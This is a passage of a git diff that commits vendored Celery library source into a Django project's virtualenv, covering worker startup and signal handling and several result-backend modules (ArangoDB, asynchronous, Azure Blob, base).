'worker_redirect_stdouts_level', redirect_stdouts_level) + super().setup_defaults(**kwargs) + self.purge = purge + self.no_color = no_color + self._isatty = isatty(sys.stdout) + self.colored = self.app.log.colored( + self.logfile, + enabled=not no_color if no_color is not None else no_color + ) + + def on_init_blueprint(self): + self._custom_logging = self.setup_logging() + # apply task execution optimizations + # -- This will finalize the app! + trace.setup_worker_optimizations(self.app, self.hostname) + + def on_start(self): + app = self.app + super().on_start() + + # this signal can be used to, for example, change queues after + # the -Q option has been applied. + signals.celeryd_after_setup.send( + sender=self.hostname, instance=self, conf=app.conf, + ) + + if self.purge: + self.purge_messages() + + if not self.quiet: + self.emit_banner() + + self.set_process_status('-active-') + self.install_platform_tweaks(self) + if not self._custom_logging and self.redirect_stdouts: + app.log.redirect_stdouts(self.redirect_stdouts_level) + + # TODO: Remove the following code in Celery 6.0 + # This qualifies as a hack for issue #6366. + warn_deprecated = True + config_source = app._config_source + if isinstance(config_source, str): + # Don't raise the warning when the settings originate from + # django.conf:settings + warn_deprecated = config_source.lower() not in [ + 'django.conf:settings', + ] + + if warn_deprecated: + if app.conf.maybe_warn_deprecated_settings(): + logger.warning( + "Please run `celery upgrade settings path/to/settings.py` " + "to avoid these warnings and to allow a smoother upgrade " + "to Celery 6.0." + ) + + def emit_banner(self): + # Dump configuration to screen so we have some basic information + # for when users sends bug reports. + use_image = term.supports_images() + if use_image: + print(term.imgcat(static.logo())) + print(safe_str(''.join([ + str(self.colored.cyan( + ' \n', self.startup_info(artlines=not use_image))), + str(self.colored.reset(self.extra_info() or '')), + ])), file=sys.__stdout__, flush=True) + + def on_consumer_ready(self, consumer): + signals.worker_ready.send(sender=consumer) + logger.info('%s ready.', safe_str(self.hostname)) + + def setup_logging(self, colorize=None): + if colorize is None and self.no_color is not None: + colorize = not self.no_color + return self.app.log.setup( + self.loglevel, self.logfile, + redirect_stdouts=False, colorize=colorize, hostname=self.hostname, + ) + + def purge_messages(self): + with self.app.connection_for_write() as connection: + count = self.app.control.purge(connection=connection) + if count: # pragma: no cover + print(f"purge: Erased {count} {pluralize(count, 'message')} from the queue.\n", flush=True) + + def tasklist(self, include_builtins=True, sep='\n', int_='celery.'): + return sep.join( + f' . {task}' for task in sorted(self.app.tasks) + if (not task.startswith(int_) if not include_builtins else task) + ) + + def extra_info(self): + if self.loglevel is None: + return + if self.loglevel <= logging.INFO: + include_builtins = self.loglevel <= logging.DEBUG + tasklist = self.tasklist(include_builtins=include_builtins) + return EXTRA_INFO_FMT.format(tasks=tasklist) + + def startup_info(self, artlines=True): + app = self.app + concurrency = str(self.concurrency) + appr = '{}:{:#x}'.format(app.main or '__main__', id(app)) + if not isinstance(app.loader, AppLoader): + loader = qualname(app.loader) + if loader.startswith('celery.loaders'): # pragma: no cover + loader = loader[14:] + appr += f' ({loader})' + if self.autoscale: + max, min = self.autoscale + concurrency = f'{{min={min}, max={max}}}' + pool = self.pool_cls + if not isinstance(pool, str): + pool = pool.__module__ + concurrency += f" ({pool.split('.')[-1]})" + events = 'ON' + if not self.task_events: + events = 'OFF (enable -E to monitor tasks in this worker)' + + banner = BANNER.format( + app=appr, + hostname=safe_str(self.hostname), + timestamp=datetime.now().replace(microsecond=0), + version=VERSION_BANNER, + conninfo=self.app.connection().as_uri(), + results=self.app.backend.as_uri(), + concurrency=concurrency, + platform=safe_str(_platform.platform()), + events=events, + queues=app.amqp.queues.format(indent=0, indent_first=False), + ).splitlines() + + # integrate the ASCII art. + if artlines: + for i, _ in enumerate(banner): + try: + banner[i] = ' '.join([ARTLINES[i], banner[i]]) + except IndexError: + banner[i] = ' ' * 16 + banner[i] + return '\n'.join(banner) + '\n' + + def install_platform_tweaks(self, worker): + """Install platform specific tweaks and workarounds.""" + if self.app.IS_macOS: + self.macOS_proxy_detection_workaround() + + # Install signal handler so SIGHUP restarts the worker. + if not self._isatty: + # only install HUP handler if detached from terminal, + # so closing the terminal window doesn't restart the worker + # into the background. + if self.app.IS_macOS: + # macOS can't exec from a process using threads. + # See https://github.com/celery/celery/issues#issue/152 + install_HUP_not_supported_handler(worker) + else: + install_worker_restart_handler(worker) + install_worker_term_handler(worker) + install_worker_term_hard_handler(worker) + install_worker_int_handler(worker) + install_cry_handler() + install_rdb_handler() + + def macOS_proxy_detection_workaround(self): + """See https://github.com/celery/celery/issues#issue/161.""" + os.environ.setdefault('celery_dummy_proxy', 'set_by_celeryd') + + def set_process_status(self, info): + return platforms.set_mp_process_title( + 'celeryd', + info=f'{info} ({platforms.strargv(sys.argv)})', + hostname=self.hostname, + ) + + +def _shutdown_handler(worker, sig='TERM', how='Warm', + exc=WorkerShutdown, callback=None, exitcode=EX_OK): + def _handle_request(*args): + with in_sighandler(): + from celery.worker import state + if current_process()._name == 'MainProcess': + if callback: + callback(worker) + safe_say(f'worker: {how} shutdown (MainProcess)') + signals.worker_shutting_down.send( + sender=worker.hostname, sig=sig, how=how, + exitcode=exitcode, + ) + if active_thread_count() > 1: + setattr(state, {'Warm': 'should_stop', + 'Cold': 'should_terminate'}[how], exitcode) + else: + raise exc(exitcode) + _handle_request.__name__ = str(f'worker_{how}') + platforms.signals[sig] = _handle_request + + +if REMAP_SIGTERM == "SIGQUIT": + install_worker_term_handler = partial( + _shutdown_handler, sig='SIGTERM', how='Cold', exc=WorkerTerminate, exitcode=EX_FAILURE, + ) +else: + install_worker_term_handler = partial( + _shutdown_handler, sig='SIGTERM', how='Warm', exc=WorkerShutdown, + ) + +if not is_jython: # pragma: no cover + install_worker_term_hard_handler = partial( + _shutdown_handler, sig='SIGQUIT', how='Cold', exc=WorkerTerminate, + exitcode=EX_FAILURE, + ) +else: # pragma: no cover + install_worker_term_handler = \ + install_worker_term_hard_handler = lambda *a, **kw: None + + +def on_SIGINT(worker): + safe_say('worker: Hitting Ctrl+C again will terminate all running tasks!') + install_worker_term_hard_handler(worker, sig='SIGINT') + + +if not is_jython: # pragma: no cover + install_worker_int_handler = partial( + _shutdown_handler, sig='SIGINT', callback=on_SIGINT, + exitcode=EX_FAILURE, + ) +else: # pragma: no cover + def install_worker_int_handler(*args, **kwargs): + pass + + +def _reload_current_worker(): + platforms.close_open_fds([ + sys.__stdin__, sys.__stdout__, sys.__stderr__, + ]) + os.execv(sys.executable, [sys.executable] + sys.argv) + + +def install_worker_restart_handler(worker, sig='SIGHUP'): + + def restart_worker_sig_handler(*args): + """Signal handler restarting the current python program.""" + set_in_sighandler(True) + safe_say(f"Restarting celery worker ({' '.join(sys.argv)})") + import atexit + atexit.register(_reload_current_worker) + from celery.worker import state + state.should_stop = EX_OK + platforms.signals[sig] = restart_worker_sig_handler + + +def install_cry_handler(sig='SIGUSR1'): + # PyPy does not have sys._current_frames + if is_pypy: # pragma: no cover + return + + def cry_handler(*args): + """Signal handler logging the stack-trace of all active threads.""" + with in_sighandler(): + safe_say(cry()) + platforms.signals[sig] = cry_handler + + +def install_rdb_handler(envvar='CELERY_RDBSIG', + sig='SIGUSR2'): # pragma: no cover + + def rdb_handler(*args): + """Signal handler setting a rdb breakpoint at the current frame.""" + with in_sighandler(): + from celery.contrib.rdb import _frame, set_trace + + # gevent does not pass standard signal handler args + frame = args[1] if args else _frame().f_back + set_trace(frame) + if os.environ.get(envvar): + platforms.signals[sig] = rdb_handler + + +def install_HUP_not_supported_handler(worker, sig='SIGHUP'): + + def warn_on_HUP_handler(signum, frame): + with in_sighandler(): + safe_say('{sig} not supported: Restarting with {sig} is ' + 'unstable on this platform!'.format(sig=sig)) + platforms.signals[sig] = warn_on_HUP_handler diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/__init__.py new file mode 100644 index 00000000..ae2b485a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/__init__.py @@ -0,0 +1 @@ +"""Result Backends.""" diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/arangodb.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/arangodb.py new file mode 100644 index 00000000..a7575741 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/arangodb.py @@ -0,0 +1,232 @@ +"""ArangoDb result store backend.""" + +# pylint: disable=W1202,W0703 + +import json +import logging +from datetime import timedelta + +from kombu.utils.objects import cached_property +from kombu.utils.url import _parse_url + +from celery.exceptions import ImproperlyConfigured + +from .base import KeyValueStoreBackend + +try: + from pyArango import connection as py_arango_connection + from pyArango.theExceptions import AQLQueryError +except ImportError: + py_arango_connection = AQLQueryError = None + +__all__ = ('ArangoDbBackend',) + + +class ArangoDbBackend(KeyValueStoreBackend): + """ArangoDb backend. + + Sample url + "arangodb://username:password@host:port/database/collection" + *arangodb_backend_settings* is where the settings are present + (in the app.conf) + Settings should contain the host, port, username, password, database name, + collection name else the default will be chosen. + Default database name and collection name is celery. + + Raises + ------ + celery.exceptions.ImproperlyConfigured: + if module :pypi:`pyArango` is not available. + + """ + + host = '127.0.0.1' + port = '8529' + database = 'celery' + collection = 'celery' + username = None + password = None + # protocol is not supported in backend url (http is taken as default) + http_protocol = 'http' + verify = False + + # Use str as arangodb key not bytes + key_t = str + + def __init__(self, url=None, *args, **kwargs): + """Parse the url or load the settings from settings object.""" + super().__init__(*args, **kwargs) + + if py_arango_connection is None: + raise ImproperlyConfigured( + 'You need to install the pyArango library to use the ' + 'ArangoDb backend.', + ) + + self.url = url + + if url is None: + host = port = database = collection = username = password = None + else: + ( + _schema, host, port, username, password, + database_collection, _query + ) = _parse_url(url) + if database_collection is None: + database = collection = None + else: + database, collection = database_collection.split('/') + + config = self.app.conf.get('arangodb_backend_settings', None) + if config is not None: + if not isinstance(config, dict): + raise ImproperlyConfigured( + 'ArangoDb backend settings should be grouped in a dict', + ) + else: + config = {} + + self.host = host or config.get('host', self.host) + self.port = int(port or config.get('port', self.port)) + self.http_protocol = config.get('http_protocol', self.http_protocol) + self.verify = config.get('verify', self.verify) + self.database = database or config.get('database', self.database) + self.collection = \ + collection or config.get('collection', self.collection) + self.username = username or config.get('username', self.username) + self.password = password or config.get('password', self.password) + self.arangodb_url = "{http_protocol}://{host}:{port}".format( + http_protocol=self.http_protocol, host=self.host, port=self.port + ) + self._connection = None + + @property + def connection(self): + """Connect to the arangodb server.""" + if self._connection is None: + self._connection = py_arango_connection.Connection( + arangoURL=self.arangodb_url, username=self.username, + password=self.password, verify=self.verify + ) + return self._connection + + @property + def db(self): + """Database Object to the given database.""" + return self.connection[self.database] + + @cached_property + def expires_delta(self): + return timedelta(seconds=self.expires) + + def get(self, key): + try: + logging.debug( + 'RETURN DOCUMENT("{collection}/{key}").task'.format( + collection=self.collection, key=key + ) + ) + query = self.db.AQLQuery( + 'RETURN DOCUMENT("{collection}/{key}").task'.format( + collection=self.collection, key=key + ) + ) + result = query.response["result"][0] + if result is None: + return None + return json.dumps(result) + except AQLQueryError as aql_err: + logging.error(aql_err) + return None + except Exception as err: + logging.error(err) + return None + + def set(self, key, value): + """Insert a doc with value into task attribute and _key as key.""" + try: + logging.debug( + 'INSERT {{ task: {task}, _key: "{key}" }} INTO {collection}' + .format( + collection=self.collection, key=key, task=value + ) + ) + self.db.AQLQuery( + 'INSERT {{ task: {task}, _key: "{key}" }} INTO {collection}' + .format( + collection=self.collection, key=key, task=value + ) + ) + except AQLQueryError as aql_err: + logging.error(aql_err) + except Exception as err: + logging.error(err) + + def mget(self, keys): + try: + json_keys = json.dumps(keys) + logging.debug( + """ + FOR key in {keys} + RETURN DOCUMENT(CONCAT("{collection}/", key).task + """.format( + collection=self.collection, keys=json_keys + ) + ) + query = self.db.AQLQuery( + """ + FOR key in {keys} + RETURN DOCUMENT(CONCAT("{collection}/", key).task + """.format( + collection=self.collection, keys=json_keys + ) + ) + results = [] + while True: + results.extend(query.response['result']) + query.nextBatch() + except StopIteration: + values = [ + result if result is None else json.dumps(result) + for result in results + ] + return values + except AQLQueryError as aql_err: + logging.error(aql_err) + return [None] * len(keys) + except Exception as err: + logging.error(err) + return [None] * len(keys) + + def delete(self, key): + try: + logging.debug( + 'REMOVE {{ _key: "{key}" }} IN {collection}'.format( + key=key, collection=self.collection + ) + ) + self.db.AQLQuery( + 'REMOVE {{ _key: "{key}" }} IN {collection}'.format( + key=key, collection=self.collection + ) + ) + except AQLQueryError as aql_err: + logging.error(aql_err) + except Exception as err: + logging.error(err) + + def cleanup(self): + """Delete expired meta-data.""" + remove_before = (self.app.now() - self.expires_delta).isoformat() + try: + query = ( + 'FOR item IN {collection} ' + 'FILTER item.task.date_done < "{remove_before}" ' + 'REMOVE item IN {collection}' + ).format(collection=self.collection, remove_before=remove_before) + logging.debug(query) + self.db.AQLQuery(query) + except AQLQueryError as aql_err: + logging.error(aql_err) + except Exception as err: + logging.error(err) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/asynchronous.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/asynchronous.py new file mode 100644 index 00000000..cedae501 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/asynchronous.py @@ -0,0 +1,333 @@ +"""Async I/O backend support utilities.""" +import socket +import threading +import time +from collections import deque +from queue import Empty +from time import sleep +from weakref import WeakKeyDictionary + +from kombu.utils.compat import detect_environment + +from celery import states +from celery.exceptions import TimeoutError +from celery.utils.threads import THREAD_TIMEOUT_MAX + +__all__ = ( + 'AsyncBackendMixin', 'BaseResultConsumer', 'Drainer', + 'register_drainer', +) + +drainers = {} + + +def register_drainer(name): + """Decorator used to register a new result drainer type.""" + def _inner(cls): + drainers[name] = cls + return cls + return _inner + + +@register_drainer('default') +class Drainer: + """Result draining service.""" + + def __init__(self, result_consumer): + self.result_consumer = result_consumer + + def start(self): + pass + + def stop(self): + pass + + def drain_events_until(self, p, timeout=None, interval=1, on_interval=None, wait=None): + wait = wait or self.result_consumer.drain_events + time_start = time.monotonic() + + while 1: + # Total time spent may exceed a single call to wait() + if timeout and time.monotonic() - time_start >= timeout: + raise socket.timeout() + try: + yield self.wait_for(p, wait, timeout=interval) + except socket.timeout: + pass + if on_interval: + on_interval() + if p.ready: # got event on the wanted channel. + break + + def wait_for(self, p, wait, timeout=None): + wait(timeout=timeout) + + +class greenletDrainer(Drainer): + spawn = None + _g = None + _drain_complete_event = None # event, sended (and recreated) after every drain_events iteration + + def _create_drain_complete_event(self): + """create new self._drain_complete_event object""" + pass + + def _send_drain_complete_event(self): + """raise self._drain_complete_event for wakeup .wait_for""" + pass + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._started = threading.Event() + self._stopped = threading.Event() + self._shutdown = threading.Event() + self._create_drain_complete_event() + + def run(self): + self._started.set() + while not self._stopped.is_set(): + try: + self.result_consumer.drain_events(timeout=1) + self._send_drain_complete_event() + self._create_drain_complete_event() + except socket.timeout: + pass + self._shutdown.set() + + def start(self): + if not self._started.is_set(): + self._g = self.spawn(self.run) + self._started.wait() + + def stop(self): + self._stopped.set() + self._send_drain_complete_event() + self._shutdown.wait(THREAD_TIMEOUT_MAX) + + def wait_for(self, p, wait, timeout=None): + self.start() + if not p.ready: + self._drain_complete_event.wait(timeout=timeout) + + +@register_drainer('eventlet') +class eventletDrainer(greenletDrainer): + + def spawn(self, func): + from eventlet import sleep, spawn + g = spawn(func) + sleep(0) + return g + + def _create_drain_complete_event(self): + from eventlet.event import Event + self._drain_complete_event = Event() + + def _send_drain_complete_event(self): + self._drain_complete_event.send() + + +@register_drainer('gevent') +class geventDrainer(greenletDrainer): + + def spawn(self, func): + import gevent + g = gevent.spawn(func) + gevent.sleep(0) + return g + + def _create_drain_complete_event(self): + from gevent.event import Event + self._drain_complete_event = Event() + + def _send_drain_complete_event(self): + self._drain_complete_event.set() + self._create_drain_complete_event() + + +class AsyncBackendMixin: + """Mixin for backends that enables the async API.""" + + def _collect_into(self, result, bucket): + self.result_consumer.buckets[result] = bucket + + def iter_native(self, result, no_ack=True, **kwargs): + self._ensure_not_eager() + + results = result.results + if not results: + raise StopIteration() + + # we tell the result consumer to put consumed results + # into these buckets. + bucket = deque() + for node in results: + if not hasattr(node, '_cache'): + bucket.append(node) + elif node._cache: + bucket.append(node) + else: + self._collect_into(node, bucket) + + for _ in self._wait_for_pending(result, no_ack=no_ack, **kwargs): + while bucket: + node = bucket.popleft() + if not hasattr(node, '_cache'): + yield node.id, node.children + else: + yield node.id, node._cache + while bucket: + node = bucket.popleft() + yield node.id, node._cache + + def add_pending_result(self, result, weak=False, start_drainer=True): + if start_drainer: + self.result_consumer.drainer.start() + try: + self._maybe_resolve_from_buffer(result) + except Empty: + self._add_pending_result(result.id, result, weak=weak) + return result + + def _maybe_resolve_from_buffer(self, result): + result._maybe_set_cache(self._pending_messages.take(result.id)) + + def _add_pending_result(self, task_id, result, weak=False): + concrete, weak_ = self._pending_results + if task_id not in weak_ and result.id not in concrete: + (weak_ if weak else concrete)[task_id] = result + self.result_consumer.consume_from(task_id) + + def add_pending_results(self, results, weak=False): + self.result_consumer.drainer.start() + return [self.add_pending_result(result, weak=weak, start_drainer=False) + for result in results] + + def remove_pending_result(self, result): + self._remove_pending_result(result.id) + self.on_result_fulfilled(result) + return result + + def _remove_pending_result(self, task_id): + for mapping in self._pending_results: + mapping.pop(task_id, None) + + def on_result_fulfilled(self, result): + self.result_consumer.cancel_for(result.id) + + def wait_for_pending(self, result, + callback=None, propagate=True, **kwargs): + self._ensure_not_eager() + for _ in self._wait_for_pending(result, **kwargs): + pass + return result.maybe_throw(callback=callback, propagate=propagate) + + def _wait_for_pending(self, result, + timeout=None, on_interval=None, on_message=None, + **kwargs): + return self.result_consumer._wait_for_pending( + result, timeout=timeout, + on_interval=on_interval, on_message=on_message, + **kwargs + ) + + @property + def is_async(self): + return True + + +class BaseResultConsumer: + """Manager responsible for consuming result messages.""" + + def __init__(self, backend, app, accept, + pending_results, pending_messages): + self.backend = backend + self.app = app + self.accept = accept + self._pending_results = pending_results + self._pending_messages = pending_messages + self.on_message = None + self.buckets = WeakKeyDictionary() + self.drainer = drainers[detect_environment()](self) + + def start(self, initial_task_id, **kwargs): + raise NotImplementedError() + + def stop(self): + pass + + def drain_events(self, timeout=None): + raise NotImplementedError() + + def consume_from(self, task_id): + raise NotImplementedError() + + def cancel_for(self, task_id): + raise NotImplementedError() + + def _after_fork(self): + self.buckets.clear() + self.buckets = WeakKeyDictionary() + self.on_message = None + self.on_after_fork() + + def on_after_fork(self): + pass + + def drain_events_until(self, p, timeout=None, on_interval=None): + return self.drainer.drain_events_until( + p, timeout=timeout, on_interval=on_interval) + + def _wait_for_pending(self, result, + timeout=None, on_interval=None, on_message=None, + **kwargs): + self.on_wait_for_pending(result, timeout=timeout, **kwargs) + prev_on_m, self.on_message = self.on_message, on_message + try: + for _ in self.drain_events_until( + result.on_ready, timeout=timeout, + on_interval=on_interval): + yield + sleep(0) + except socket.timeout: + raise TimeoutError('The operation timed out.') + finally: + self.on_message = prev_on_m + + def on_wait_for_pending(self, result, timeout=None, **kwargs): + pass + + def on_out_of_band_result(self, message): + self.on_state_change(message.payload, message) + + def _get_pending_result(self, task_id): + for mapping in self._pending_results: + try: + return mapping[task_id] + except KeyError: + pass + raise KeyError(task_id) + + def on_state_change(self, meta, message): + if self.on_message: + self.on_message(meta) + if meta['status'] in states.READY_STATES: + task_id = meta['task_id'] + try: + result = self._get_pending_result(task_id) + except KeyError: + # send to buffer in case we received this result + # before it was added to _pending_results. + self._pending_messages.put(task_id, meta) + else: + result._maybe_set_cache(meta) + buckets = self.buckets + try: + # remove bucket for this result, since it's fulfilled + bucket = buckets.pop(result) + except KeyError: + pass + else: + # send to waiter via bucket + bucket.append(result) + sleep(0) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/azureblockblob.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/azureblockblob.py new file mode 100644 index 00000000..e7d2c231 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/azureblockblob.py @@ -0,0 +1,166 @@ +"""The Azure Storage Block Blob backend for Celery.""" +from kombu.utils import cached_property +from kombu.utils.encoding import bytes_to_str + +from celery.exceptions import ImproperlyConfigured +from celery.utils.log import get_logger + +from .base import KeyValueStoreBackend + +try: + import azure.storage.blob as azurestorage + from azure.core.exceptions import (ResourceExistsError, + ResourceNotFoundError) + from azure.storage.blob import BlobServiceClient +except ImportError: + azurestorage = None + +__all__ = ("AzureBlockBlobBackend",) + +LOGGER = get_logger(__name__) +AZURE_BLOCK_BLOB_CONNECTION_PREFIX = 'azureblockblob://' + + +class AzureBlockBlobBackend(KeyValueStoreBackend): + """Azure Storage Block Blob backend for Celery.""" + + def __init__(self, + url=None, + container_name=None, + *args, + **kwargs): + super().__init__(*args, **kwargs) + + if azurestorage is None or azurestorage.__version__ < '12': + raise ImproperlyConfigured( + "You need to install the azure-storage-blob v12 library to" + "use the AzureBlockBlob backend") + + conf = self.app.conf + + self._connection_string = self._parse_url(url) + + self._container_name = ( + container_name or + conf["azureblockblob_container_name"]) + + self.base_path = conf.get('azureblockblob_base_path', '') + self._connection_timeout = conf.get( + 'azureblockblob_connection_timeout', 20 + ) + self._read_timeout = conf.get('azureblockblob_read_timeout', 120) + + @classmethod + def _parse_url(cls, url, prefix=AZURE_BLOCK_BLOB_CONNECTION_PREFIX): + connection_string = url[len(prefix):] + if not connection_string: + raise ImproperlyConfigured("Invalid URL") + + return connection_string + + @cached_property + def _blob_service_client(self): + """Return the Azure Storage Blob service client. + + If this is the first call to the property, the client is created and + the container is created if it doesn't yet exist. + + """ + client = BlobServiceClient.from_connection_string( + self._connection_string, + connection_timeout=self._connection_timeout, + read_timeout=self._read_timeout + ) + + try: + client.create_container(name=self._container_name) + msg = f"Container created with name {self._container_name}." + except ResourceExistsError: + msg = f"Container with name {self._container_name} already." \ + "exists. This will not be created." + LOGGER.info(msg) + + return client + + def get(self, key): + """Read the value stored at the given key. + + Args: + key: The key for which to read the value. + """ + key = bytes_to_str(key) + LOGGER.debug("Getting Azure Block Blob %s/%s", self._container_name, key) + + blob_client = self._blob_service_client.get_blob_client( + container=self._container_name, + blob=f'{self.base_path}{key}', + ) + + try: + return blob_client.download_blob().readall().decode() + except ResourceNotFoundError: + return None + + def set(self, key, value): + """Store a value for a given key. + + Args: + key: The key at which to store the value. + value: The value to store. + + """ + key = bytes_to_str(key) + LOGGER.debug(f"Creating azure blob at {self._container_name}/{key}") + + blob_client = self._blob_service_client.get_blob_client( + container=self._container_name, + blob=f'{self.base_path}{key}', + ) + + blob_client.upload_blob(value, overwrite=True) + + def mget(self, keys): + """Read all the values for the provided keys. + + Args: + keys: The list of keys to read. + + """ + return [self.get(key) for key in keys] + + def delete(self, key): + """Delete the value at a given key. + + Args: + key: The key of the value to delete. + + """ + key = bytes_to_str(key) + LOGGER.debug(f"Deleting azure blob at {self._container_name}/{key}") + + blob_client = self._blob_service_client.get_blob_client( + container=self._container_name, + blob=f'{self.base_path}{key}', + ) + + blob_client.delete_blob() + + def as_uri(self, include_password=False): + if include_password: + return ( + f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' + f'{self._connection_string}' + ) + + connection_string_parts = self._connection_string.split(';') + account_key_prefix = 'AccountKey=' + redacted_connection_string_parts = [ + f'{account_key_prefix}**' if part.startswith(account_key_prefix) + else part + for part in connection_string_parts + ] + + return ( + f'{AZURE_BLOCK_BLOB_CONNECTION_PREFIX}' + f'{";".join(redacted_connection_string_parts)}' + ) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/backends/base.py b/django_lottopy/lib/python3.10/site-packages/celery/backends/base.py new file mode 100644 index 00000000..86286ca9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/backends/base.py @@ -0,0 +1,1093 @@ +"""Result backend base classes. + +- :class:`BaseBackend` defines the interface. + +- :class:`KeyValueStoreBackend` is a common base class + using K/V semantics like _get and _put. +""" +import sys +import time +import warnings +from collections import namedtuple +from datetime import datetime, timedelta +from functools import partial +from weakref import WeakValueDictionary + +from billiard.einfo import ExceptionInfo +from kombu.serialization import dumps, loads, prepare_accept_content +from kombu.serialization import registry as serializer_registry +from kombu.utils.encoding import bytes_to_str, ensure_bytes +from kombu.utils.url import maybe_sanitize_url + +import celery.exceptions +from celery import current_app, group, maybe_signature, states +from celery._state import get_current_task +from celery.app.task import Context +from celery.exceptions import (BackendGetMetaError, BackendStoreError, + ChordError, ImproperlyConfigured, + NotRegistered, SecurityError, TaskRevokedError, + TimeoutError) +from celery.result import (GroupResult, ResultBase, ResultSet, + allow_join_result, result_from_tuple) +from celery.utils.collections import BufferMap +from celery.utils.functional import LRUCache, arity_greater +from celery.utils.log import get_logger +from celery.utils.serialization import (create_exception_cls, + ensure_serializable, + get_pickleable_exception, + get_pickled_exception, + raise_with_context) +from celery.utils.time import get_exponential_backoff_interval + +__all__ = ('BaseBackend', 'KeyValueStoreBackend', 'DisabledBackend') + +EXCEPTION_ABLE_CODECS = frozenset({'pickle'}) + +logger = get_logger(__name__) + +MESSAGE_BUFFER_MAX = 8192 + +pending_results_t = namedtuple('pending_results_t', ( + 'concrete', 'weak', +)) + +E_NO_BACKEND = """ +No result backend is configured. +Please see the documentation for more information. +""" + +E_CHORD_NO_BACKEND = """ +Starting chords requires a result backend to be configured. + +Note that a group chained with a task is also upgraded to be a chord, +as this pattern requires synchronization. + +Result backends that supports chords: Redis, Database, Memcached, and more. +""" + + +def unpickle_backend(cls, args, kwargs): + """Return an unpickled backend.""" + return cls(*args, app=current_app._get_current_object(), **kwargs) + + +class _nulldict(dict): + def ignore(self, *a, **kw): + pass + + __setitem__ = update = setdefault = ignore + + +def _is_request_ignore_result(request): + if request is None: + return False + return request.ignore_result + + +class Backend: + READY_STATES = states.READY_STATES + UNREADY_STATES = states.UNREADY_STATES + EXCEPTION_STATES = states.EXCEPTION_STATES + + TimeoutError = TimeoutError + + #: Time to sleep between polling each individual item + #: in `ResultSet.iterate`. as opposed to the `interval` + #: argument which is for each pass. + subpolling_interval = None + + #: If true the backend must implement :meth:`get_many`. + supports_native_join = False + + #: If true the backend must automatically expire results. + #: The daily backend_cleanup periodic task won't be triggered + #: in this case. + supports_autoexpire = False + + #: Set to true if the backend is persistent by default. + persistent = True + + retry_policy = { + 'max_retries': 20, + 'interval_start': 0, + 'interval_step': 1, + 'interval_max': 1, + } + + def __init__(self, app, + serializer=None, max_cached_results=None, accept=None, + expires=None, expires_type=None, url=None, **kwargs): + self.app = app + conf = self.app.conf + self.serializer = serializer or conf.result_serializer + (self.content_type, + self.content_encoding, + self.encoder) = serializer_registry._encoders[self.serializer] + cmax = max_cached_results or conf.result_cache_max + self._cache = _nulldict() if cmax == -1 else LRUCache(limit=cmax) + + self.expires = self.prepare_expires(expires, expires_type) + + # precedence: accept, conf.result_accept_content, conf.accept_content + self.accept = conf.result_accept_content if accept is None else accept + self.accept = conf.accept_content if self.accept is None else self.accept + self.accept = prepare_accept_content(self.accept) + + self.always_retry = conf.get('result_backend_always_retry', False) + self.max_sleep_between_retries_ms = conf.get('result_backend_max_sleep_between_retries_ms', 10000) + self.base_sleep_between_retries_ms = conf.get('result_backend_base_sleep_between_retries_ms', 10) + self.max_retries = conf.get('result_backend_max_retries', float("inf")) + + self._pending_results = pending_results_t({}, WeakValueDictionary()) + self._pending_messages = BufferMap(MESSAGE_BUFFER_MAX) + self.url = url + + def as_uri(self, include_password=False): + """Return the backend as an URI, sanitizing the password or not.""" + # when using maybe_sanitize_url(), "/" is added + # we're stripping it for consistency + if include_password: + return self.url + url = maybe_sanitize_url(self.url or '') + return url[:-1] if url.endswith(':///') else url + + def mark_as_started(self, task_id, **meta): + """Mark a task as started.""" + return self.store_result(task_id, meta, states.STARTED) + + def mark_as_done(self, task_id, result, + request=None, store_result=True, state=states.SUCCESS): + """Mark task as successfully executed.""" + if (store_result and not _is_request_ignore_result(request)): + self.store_result(task_id, result, state, request=request) + if request and request.chord: + self.on_chord_part_return(request, state, result) + + def mark_as_failure(self, task_id, exc, + traceback=None, request=None, + store_result=True, call_errbacks=True, + state=states.FAILURE): + """Mark task as executed with failure.""" + if store_result: + self.store_result(task_id, exc, state, + traceback=traceback, request=request) + if request: + # This task may be part of a chord + if request.chord: + self.on_chord_part_return(request, state, exc) + # It might also have chained tasks which need to be propagated to, + # this is most likely to be exclusive with being a direct part of a + # chord but we'll handle both cases separately. + # + # The `chain_data` try block here is a bit tortured since we might + # have non-iterable objects here in tests and it's easier this way. + try: + chain_data = iter(request.chain) + except (AttributeError, TypeError): + chain_data = tuple() + for chain_elem in chain_data: + # Reconstruct a `Context` object for the chained task which has + # enough information to for backends to work with + chain_elem_ctx = Context(chain_elem) + chain_elem_ctx.update(chain_elem_ctx.options) + chain_elem_ctx.id = chain_elem_ctx.options.get('task_id') + chain_elem_ctx.group = chain_elem_ctx.options.get('group_id') + # If the state should be propagated, we'll do so for all + # elements of the chain. This is only truly important so + # that the last chain element which controls completion of + # the chain itself is marked as completed to avoid stalls. + # + # Some chained elements may be complex signatures and have no + # task ID of their own, so we skip them hoping that not + # descending through them is OK. If the last chain element is + # complex, we assume it must have been uplifted to a chord by + # the canvas code and therefore the condition below will ensure + # that we mark something as being complete as avoid stalling. + if ( + store_result and state in states.PROPAGATE_STATES and + chain_elem_ctx.task_id is not None + ): + self.store_result( + chain_elem_ctx.task_id, exc, state, + traceback=traceback, request=chain_elem_ctx, + ) + # If the chain element is a member of a chord, we also need + # to call `on_chord_part_return()` as well to avoid stalls. + if 'chord' in chain_elem_ctx.options: + self.on_chord_part_return(chain_elem_ctx, state, exc) + # And finally we'll fire any errbacks + if call_errbacks and request.errbacks: + self._call_task_errbacks(request, exc, traceback) + + def _call_task_errbacks(self, request, exc, traceback): + old_signature = [] + for errback in request.errbacks: + errback = 